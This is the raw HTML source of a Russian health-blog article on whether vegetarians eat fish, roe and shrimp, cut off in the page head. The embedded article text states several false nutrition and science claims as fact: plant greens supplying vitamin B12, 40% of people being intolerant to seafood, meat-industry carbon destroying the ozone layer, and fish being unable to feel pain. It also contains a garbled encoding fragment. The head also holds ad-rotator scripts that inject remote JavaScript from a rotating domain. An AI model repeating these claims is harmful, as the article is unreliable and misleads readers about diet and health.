PageSourceSearch

https://etopolezno.com/ediat-li-vegetariancy-rybu/

html etopolezno.com collected 2026-10-02 18:22:07 UTC 225,732 bytes, 2,617 lines download raw bytes

1<!DOCTYPE html>
2<html lang="ru-RU">
3<head>
4	
5
6	<meta charset="UTF-8"/>
7	<meta name="viewport" content="width=device-width, initial-scale=1">
8		
8<script>
9    var block_classes = ["content_rb", "cnt32_rl_bg_str", "rl_cnt_bg"];
10
11    function addAttrItem(className) {
12        if (document.querySelector("." + className) && !block_classes.includes(className)) {
13            block_classes.push(className);
14        }
15    }
16</script>
16<script>
17                function onErrorPlacing() {
18                    if (typeof cachePlacing !== 'undefined' && typeof cachePlacing === 'function' && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
19                        let errorInfo = [];
20                        cachePlacing('low',errorInfo);
21                    } else {
22                        setTimeout(function () {
23                            onErrorPlacing();
24                        }, 100)
25                    }
26                }
27                var xhr = new XMLHttpRequest();
28                xhr.open('GET',"//newrotatormarch23.bid/y5in.json",true);
29                xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
30                xhr.onreadystatechange = function() {
31                    if (xhr.status != 200) {
32                        if (xhr.statusText != 'abort') {
33                            onErrorPlacing();
34                        }
35                    }
36                };
37                xhr.send();
38            </script>
38<script type="text/javascript" src="//etopolezno.com/wp-content/y5in.js?ver=1.0.2" id="y5in-js" async=""></script>
38<script>console.log('ad: nun')</script>
38<script>
39                function onErrorPlacing() {
40                    if (typeof cachePlacing !== 'undefined' && typeof cachePlacing === 'function' && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
41                        let errorInfo = [];
42                        cachePlacing('low',errorInfo);
43                    } else {
44                        setTimeout(function () {
45                            onErrorPlacing();
46                        }, 100)
47                    }
48                }
49                var xhr = new XMLHttpRequest();
50                xhr.open('GET',"//newrotatormarch23.bid/y5in.min.js",true);
51                xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
52                xhr.onreadystatechange = function() {
53                    if (xhr.status != 200) {
54                        if (xhr.statusText != 'abort') {
55                            onErrorPlacing();
56                        }
57                    }
58                };
59                xhr.send();
60            </script>
60<script type='text/javascript'> rbConfig={start:performance.now(),rbDomain:'newrotatormarch23.bid',rotator:'y5in'};token=localStorage.getItem('y5in')||(1e6+'').replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16));rsdfhse=document.createElement('script'); rsdfhse.setAttribute('src','//newrotatormarch23.bid/y5in.min.js?'+token);rsdfhse.setAttribute('async','async');rsdfhse.setAttribute('type','text/javascript');document.head.appendChild(rsdfhse); localStorage.setItem('y5in', token);</script>
60<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
61
62	<!-- This site is optimized with the Yoast SEO plugin v20.10 - https://yoast.com/wordpress/plugins/seo/ -->
63	<title>Вегетарианцы едят ли рыбу или нет: можно ли морепродукты, заменить икру и креветки, веганы, рацион питания</title>
64	<meta name="description" content="Разновидности систем питания преимущественно либо исключительно растительной пищей. Едят ли вегетарианцы рыбу и морепродукты и чем можно заменить животных, которые обитают в соленых и пресных водоемах. Пескетарианство как безопасный промежуточный этап." />
65	<link rel="canonical" href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" />
66	<meta name="twitter:label1" content="Написано автором" />
67	<meta name="twitter:data1" content="Это-полезно!" />
68	<meta name="twitter:label2" content="Примерное время для чтения" />
69	<meta name="twitter:data2" content="9 минут" />
70	<!-- / Yoast SEO plugin. -->
71
72
73<link rel='dns-prefetch' href='//fonts.googleapis.com' />
74<link rel='stylesheet' id='classic-theme-styles-css' href='https://etopolezno.com/wp-includes/css/classic-themes.min.css?ver=6.2.13' type='text/css' media='all' />
75<style id='global-styles-inline-css' type='text/css'>
76body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
76--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: url('#wp-duotone-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yellow: url('#wp-duotone-magenta-yellow');--wp--preset--duotone--purple-green: url('#wp-duotone-purple-green');--wp--preset--duotone--blue-orange: url('#wp-duotone-blue-orange');--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
76.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
77.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
78:where(.wp-block-columns.is-layout-flex){gap: 2em;}
79.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
80</style>
81<link rel='stylesheet' id='colormag_google_fonts-css' href='//fonts.googleapis.com/css?family=Open+Sans%3A400%2C600&#038;ver=6.2.13' type='text/css' media='all' />
82<!--[if lte IE 8]>
83<script type='text/javascript' src='https://etopolezno.com/wp-content/themes/colormag/js/html5shiv.min.js?ver=6.2.13' id='html5-js'></script>
83
84<![endif]-->
85<meta name="cdp-version" content="1.4.9" />
86
87<script type="application/ld+json" class="saswp-schema-markup-output">
88[{"@context":"https://schema.org/","@type":"Blogposting","@id":"https://etopolezno.com/ediat-li-vegetariancy-rybu/#Blogposting","url":"https://etopolezno.com/ediat-li-vegetariancy-rybu/","inLanguage":"ru-RU","mainEntityOfPage":"https://etopolezno.com/ediat-li-vegetariancy-rybu/","headline":"Едят ли рыбу и морепродукты вегетарианцы","description":"Несмотря на то, что вегетарианство неуклонно набирает популярность, вокруг этой диеты до сих пор остаётся масса мифов и предрассудков. Казалось","articleBody":"Несмотря на то, что вегетарианство неуклонно набирает популярность, вокруг этой диеты до сих пор остаётся масса мифов и предрассудков. Казалось бы, всё просто - суть такого образа жизни в отказе от употребления мяса любых живых существ, к которым относятся и обитатели моря. Так что вегетарианцы рыбу не едят.  Однако на практике этот вопрос оказывается куда более сложным и мнения встречаются разные. Давайте подробнее разберёмся, какие типы вегетарианства существуют и что можно или нельзя есть в каждом из них.      Разновидности вегетарианства  Вегетарианство и рыба  Вегетарианство и морепродукты  Почему некоторые вегетарианцы едят рыбу и морепродукты      Разновидности вегетарианства  Само по себе вегетарианство предполагает отказ от всех продуктов животного происхождения. Однако представители разных видов этого движения могут позволять себе определённые поблажки, или, наоборот, делать правила ещё более строгими. Среди них выделяют:          Лакто-ово-вегетарианцев - это люди, которые едят яйца и употребляют молочную продукцию и мёд, однако полностью отказываются от всех видов мяса;      Лакто-вегетарианцы - позволяют себе только молочную продукцию, но не яйца и не другие продукты животного происхождения;      Ово-вегетарианцы - из всей животной продукции оставляют в меню только яйца;      Веганы - это движение охватывает не только кулинарные предпочтения, но и весь образ жизни. Помимо полного отказа от мяса, молочки, яиц, мёда, рыбы и икры, такие люди также обращают особое внимание на состав одежды, косметики, парфюма и любых вещей, которые покупают в дом. Им важно, чтобы при производстве и тестировании предмета не пострадало ни одно животное.      Также существуют движения, которые напрямую не относятся к вегетарианству, но ассоциируются с ним:          Пескетарианцы - вегетарианцы, которые едят рыбу и морепродукты, но отказываются от мяса теплокровных животных;
88      Поллоторианцы - едят только мясо птицы;      Флекситарианцы - не ограничивают себя в употреблении продуктов животного происхождения, но стараются свести их долю в рационе к минимуму.        Некоторые вегетарианцы также выбирают путь сыроедения - в таком случае они не едят обработанную пищу, то есть не жарят, не варят, не засаливают и не маринуют еду перед употреблением.  Вегетарианство и рыба  Прежде всего, важно понимать, что никаких строгих запретов в сфере питания существовать не может. Каждый человек сам выбирает, как строить свою диету и что употреблять в пищу. Однако, если Вы решили стать строгим вегетарианцем, от рыбы придётся отказаться.  Впрочем, многое здесь зависит и от причины этого решения, а также личных взглядов отдельного человека. Например, если Вы выбрали для себя такой тип питания, исходя из желания поддержать здоровье и снизить вес, изредка добавлять рыбу в рацион может быть неплохим вариантом. Впрочем, если речь идёт о лечебной диете, перед этим важно проконсультироваться с врачом.  Если же причина в морально-этическом аспекте, скорее всего, Вы и сами не захотите есть рыбу. Впрочем, также можно стать пескетарианцем - тогда морепродукты будут вполне уместны.  Можно ли вегетарианцам есть рыбу  Настало время ответить на главный вопрос: едят ли рыбу вегетарианцы. Строгие приверженцы диеты отвечают однозначно - нет. Тем не менее существуют также пескетарианцы. Так называют людей, которые полностью отказались от мяса, молочных продуктов и яиц, но оставили в своём рационе рыбу и морепродукты.    Интересный факт! Такая система питания появилась давно. В Индии жрецы допускали употребление рыбы по праздникам, хотя обычно питались только растительной пищей. А японцы и вовсе до 17-го века заменяли морепродуктами всё мясо.    Сегодняшние пескетарианцы стараются формировать своё меню из орехов, круп, злаков, бобовых, фруктов, овощей и ягод. При этом рыба и морепродукты на столе могут появляться как каждый день, так и только по праздникам, или вообще раз в неделю.  Плюсы и минусы отказа от рыбы  Несмотря на неоспоримую питательную ценность рыбы, употребление любых даров моря несёт ряд рисков. Среди них:          Накопление ртути в организме - морские животные поглощают массу этого вещества из воздуха и воды, и даже термическая обработка не делает мясо полностью безопасным;      Отравление тяжёлыми металлами - трудно узнать наверняка, где проходила рыбалка, особенно если покупаешь мясо в магазине. Часто рыбу ловят в прибрежных водах, где много промышленных отходов;      Возможность возникновения аллерÐ
88³Ð¸Ñ‡ÐµÑÐºÐ¾Ð¹ реакции - нередкая ситуация, поскольку у 40% людей наблюдается непереносимость морепродуктов.      Отказавшись от употребления рыбы, человек ограждает себя от этих опасностей. Однако есть и негативные последствия - например, недостаток полных белков, который трудно восполнить растительной пищей. К тому же, рыбье мясо богато жирными кислотами и Омега-3.  В результате создавшихся дефицитов вегетарианцы нередко сталкиваются с последствиями:          Ослаблением сосудов;      Перебоями в работе сердца;      Хрупкостью костей и зубов;      Заболеваниями щитовидной железы;      Снижением уровня иммунитета;      Ранним развитием артрита;      Депрессией;      Ревматизмом;      Ухудшением работы мозга.      Впрочем, негативных последствий можно избежать, если осознанно подходить к составлению меню и подобрать правильные БАДы.    Обратите внимание! Отказ от рыбы - серьёзное решение, которое требует предварительной подготовки и консультации с врачами.     Почему вегетарианцы не едят рыбу  Чтобы ответить на этот вопрос, стоит для начала разобраться с причинами, по которым люди обращаются к вегетарианству. Первый вариант - из соображений сохранения здоровья. Растительный рацион низко калориен и не вызывает резких скачков сахара, поэтому может оказаться полезным при диабете или ожирении.    Второй вариант - моральный аспект. Вегетарианство выбирают люди, которые заботятся об экологии. И дело тут не только в сохранении жизней животных. Из-за производства мяса в атмосферу выбрасывает 15% от всего углерода, разрушающего озоновый слой. Добыча рыбы прибавляет к этому ещё 7%.  Впрочем, в вопросе этики вегетарианцы разделяются во мнениях. С одной стороны, идея этого движения состоит в том, чтобы не совершать насилия над другими живыми существами. С другой, из-за особенностей нервной системы, рыбы не могут чувствовать боль, так что пескетарианцы уверены, что употреблять их всё-таки можно.  Чем заменить рыбу вегетарианцу  Рыбу тяжело полностью заменить растительными аналогами по двум причинам. Во-первых, растения содержат значительно меньше белка, необходимого человеческому организму. Так что имейте в виду, что для того, чтобы набрать дневную норму, придётся добавить в свой рацион не один, а три-четыре из приведённых ниже продуктов:          Бобовые, например, нут, чечевица или фасоль;      Орехи и семена, например, миндаль, арахис и тыквенные или подсолнечные семечки;      Злаки, например, овёс, киноа или бурый рис;      Продукты с содержанием сои, например, темпе, тофу или натто;      Овощи, например, спаржа, брокколи и шпинат.      Второй сложностью становится дефицит кальция. Чтобы восполнить его, в меню стоит добавить:          Кунжут;      Фисташки;      Бразильский орех;      Семена льна;      Фундук;      Тофу;      Шпинат;      Соевый протеин;      Помидоры;      Пекинскую капусту.      Также растительная пища обладает недостаточным количеством жирных кислот. Найти Омега-3 можно разве что в:          Авокадо;      Семенах чиа;      Соевых бобах;      Грецких орехах;      Масле из водорослей.      Комбинируя приведённые выше продукты, можно составить грамотный рацион без рыбы и мяса, который закроет все потребности организма. Вп
88рочем, возможно, некоторые нутриенты придётся добирать за счёт витаминов и БАД.  Вегетарианство и морепродукты  Чтобы поставить окончательную точку в вопросе, едят ли вегетарианцы рыбу и морепродукты, стоит также обратить внимание на других обитателей моря. К категории морепродуктов нередко относят водоросли - тут нет никаких сомнений, их употреблять можно. А вот насчёт рачков, моллюсков и беспозвоночных нередко разгораются споры.    Так, строгие вегетарианцы считают употребление таких животных в пищу негуманным, поэтому отказываются от него. Пескетарианство же относит беспозвоночных к низшим формам жизни. Последователи этого движения добавляют морепродукты в рацион, чтобы получить дозу йода, животного белка и насыщенных жиров.  Едят ли вегетарианцы икру и креветки  Пожалуй, больше всего дискуссий в вегетарианском сообществе возникает вокруг икры. Одни представители движения утверждают, что икра ещё не является самостоятельным живым существом, поэтому в употреблении икринок в пищу нет ничего неэтичного. Опять же, тут можно провести параллель с ововегетарианством - представители этого направления по той же причине употребляют куриные яйца.  Однако такая параллель не совсем оправдана, ведь для курицы откладывать яйца вполне естественно и в процессе она не испытывает страданий. А вот для того, чтобы достать икру, рыбу приходится сначала выловить и убить.    Так что мнения вегетарианцев на этот счёт разнятся. Пескетарианцам, при этом, есть икру не запрещено. Многие намеренно добавляют этот продукт к ежедневному меню, чтобы получать достаточно железа, магния, селена и витамина В12.  С креветками всё несколько проще. Хотя учёным до сих пор не удалось выяснить, могут ли ракообразные чувствовать боль, вегетарианцы всё-таки отказываются от их мяса. К тому же, употребление креветок в пищу может быть неэтичным и по другим причинам. Индустрия, добывающая морепродукты, вредит черепахам и дельфинам, которые часто путаются в сетях для отлова и погибают.  Чем заменить икру и креветки вегетарианцам  Сложнее всего при отказе от морепродуктов восполнить дефицит витамина В12. Получить его можно из:          Спаржи;      Петрушки;      Кинзы;      Шпината;      Салатных листьев.      Однако, чтобы добрать до нормы, съесть такой зелени придётся крайне много. Поэтому диетологи всё же рекомендуют добавить витаминные комплексы.  Железо можно получать из:          Кунжута;      Морской капусты;      Бобовых;      Киноа и других круп;      Тыквенных и подсолнечных семечек;      Брокколи.      Также рекомендуется включить в меню водоросли, чтобы получать достаточное количество йода.  Почему некоторые вегетарианцы едят рыбу и морепродукты  И всё же на вопрос, можно ли вегетарианцам рыбу или нет можно услышать разные ответы. Например, легко встретить человека, который уверен, что придерживается вегетарианского питания, однако время от времени всё-таки позволяет себе угоститься рыбкой.  Как правило, это происходит из-за разногласий по этическим вопросам. Некоторые обращают внимание на то, что у морских животных не развит интеллект и иначе работает нервная система, поэтому считают их употребление в пищу вполне этичным. Однако строгие вегетарианцы с этой позицией никогда не согласятся.","keywords":"","datePublished":"2024-10-29T12:00:22+03:00","dateModified":"2024-10-29T12:00:22+03:00","author":{"@type":"Person","name":"Это-полезно!","url":"https://etopolezno.com/author/crunk251/","sameAs":[],"image":{"@type":"ImageObject","url":"https://secure.gravatar.com/avatar/6e37ba3f8cf905c64ad36c1cd36f8141?s=96&d=mm&r=g","height":96,"width":96}},"editor":{"@type":"Person","name":"Это-полезно!","url":"https://etopolezno.com/author/crunk251/","sameAs":[],"image":{"@type":"ImageObject","url":"https://secure.gravatar.com/avatar/6e37ba3f8cf905c64ad36c1cd36f8141?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"Блог о здоровом питании и образе жизни","url":"https://etopolezno.com","logo":{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2018/11/logo-2-600x60.png","width":"600","height":"60"}},"image":[{"@type":"ImageObject","@id":"https://etopolezno.com/ediat-li-vegetariancy-rybu/#primaryimage","url":"https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav.jpg","width":"2560","height":"1708","caption":"Едят ли вегетарианцы рыбу"},{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-1200x900.jpg","width":"1200","height":"900","caption":"Едят ли вегетарианцы рыбу"},{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-1200x675.jpg","width":"1200","height":"675","caption":"Едят ли вегетарианцы рыбу"},{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2024/10/Krevetki-i-ikra-e1730192222194.webp","width":650,"height":433,"caption":"Едят ли вегетарианцы икру и креветки"}]}]
89</script>
89
90
91<link rel="icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-32x32.png" sizes="32x32" />
92<link rel="icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-192x192.png" sizes="192x192" />
93<link rel="apple-touch-icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-180x180.png" />
94<meta name="msapplication-TileImage" content="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-270x270.png" />
95
96
97<style>
98    .coveredAd {
99        position: relative;
100        left: -5000px;
101        max-height: 1px;
102        overflow: hidden;
103    } 
104    #content_pointer_id {
105        display: block !important;
106        width: 100% !important;
107    }
108    .rfwp_removedMarginTop {
109        margin-top: 0 !important;
110    }
111    .rfwp_removedMarginBottom {
112        margin-bottom: 0 !important;
113    }
114</style>
115            
115<script>
116            var cou1 = 0;
117            if (typeof blockSettingArray==="undefined") {
118                var blockSettingArray = [];
119            } else {
120                if (Array.isArray(blockSettingArray)) {
121                    cou1 = blockSettingArray.length;
122                } else {
123                    var blockSettingArray = [];
124                }
125            }
126            if (typeof excIdClass==="undefined") {
127                var excIdClass = [".percentPointerClass",".content_rb",".cnt32_rl_bg_str",".rl_cnt_bg",".addedInserting","#toc_container","table","blockquote"];
128            }
129            if (typeof blockDuplicate==="undefined") {
130                var blockDuplicate = "no";
131            }                        
132            if (typeof obligatoryMargin==="undefined") {
133                var obligatoryMargin = 0;
134            }
135            
136            if (typeof tagsListForTextLength==="undefined") {
137                var tagsListForTextLength = ["P","H1","H2","H3","H4","H5","H6","DIV","BLOCKQUOTE","INDEX","ARTICLE","SECTION"];
138            }                        
139            blockSettingArray[cou1] = [];
140blockSettingArray[cou1]["minSymbols"] = 0;
141blockSettingArray[cou1]["maxSymbols"] = 0;
142blockSettingArray[cou1]["minHeaders"] = 0;
143blockSettingArray[cou1]["maxHeaders"] = 0;
144blockSettingArray[cou1]["id"] = '84'; 
145blockSettingArray[cou1]["sc"] = '0'; 
146blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337317\"></div>'; 
147blockSettingArray[cou1]["setting_type"] = 1; 
148blockSettingArray[cou1]["elementCss"] = "center"; 
149blockSettingArray[cou1]["element"] = "p"; 
150blockSettingArray[cou1]["elementPosition"] = 1; 
151blockSettingArray[cou1]["elementPlace"] = 1; 
152cou1++;
153blockSettingArray[cou1] = [];
154blockSettingArray[cou1]["minSymbols"] = 0;
155blockSettingArray[cou1]["maxSymbols"] = 0;
156blockSettingArray[cou1]["minHeaders"] = 0;
157blockSettingArray[cou1]["maxHeaders"] = 0;
158blockSettingArray[cou1]["id"] = '85'; 
159blockSettingArray[cou1]["sc"] = '0'; 
160blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337318\"></div>'; 
161blockSettingArray[cou1]["setting_type"] = 7; 
162blockSettingArray[cou1]["elementCss"] = "center"; 
163blockSettingArray[cou1]["elementPlace"] = 1200; 
164cou1++;
165blockSettingArray[cou1] = [];
166blockSettingArray[cou1]["minSymbols"] = 0;
167blockSettingArray[cou1]["maxSymbols"] = 0;
168blockSettingArray[cou1]["minHeaders"] = 0;
169blockSettingArray[cou1]["maxHeaders"] = 0;
170blockSettingArray[cou1]["id"] = '86'; 
171blockSettingArray[cou1]["sc"] = '0'; 
172blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337319\"></div>'; 
173blockSettingArray[cou1]["setting_type"] = 7; 
174blockSettingArray[cou1]["elementCss"] = "center"; 
175blockSettingArray[cou1]["elementPlace"] = 2400; 
176cou1++;
177blockSettingArray[cou1] = [];
178blockSettingArray[cou1]["minSymbols"] = 0;
179blockSettingArray[cou1]["maxSymbols"] = 0;
180blockSettingArray[cou1]["minHeaders"] = 0;
181blockSettingArray[cou1]["maxHeaders"] = 0;
182blockSettingArray[cou1]["id"] = '87'; 
183blockSettingArray[cou1]["sc"] = '0'; 
184blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337320\"></div>'; 
185blockSettingArray[cou1]["setting_type"] = 7; 
186blockSettingArray[cou1]["elementCss"] = "center"; 
187blockSettingArray[cou1]["elementPlace"] = 3600; 
188cou1++;
189blockSettingArray[cou1] = [];
190blockSettingArray[cou1]["minSymbols"] = 0;
191blockSettingArray[cou1]["maxSymbols"] = 0;
192blockSettingArray[cou1]["minHeaders"] = 0;
193blockSettingArray[cou1]["maxHeaders"] = 0;
194blockSettingArray[cou1]["id"] = '88'; 
195blockSettingArray[cou1]["sc"] = '0'; 
196blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337324\"></div>'; 
197blockSettingArray[cou1]["setting_type"] = 4; 
198blockSettingArray[cou1]["elementCss"] = "center"; 
199cou1++;
200blockSettingArray[cou1] = [];
201blockSettingArray[cou1]["minSymbols"] = 0;
202blockSettingArray[cou1]["maxSymbols"] = 0;
203blockSettingArray[cou1]["minHeaders"] = 0;
204blockSettingArray[cou1]["maxHeaders"] = 0;
205blockSettingArray[cou1]["id"] = '89'; 
206blockSettingArray[cou1]["sc"] = '0'; 
207blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337325\"></div>'; 
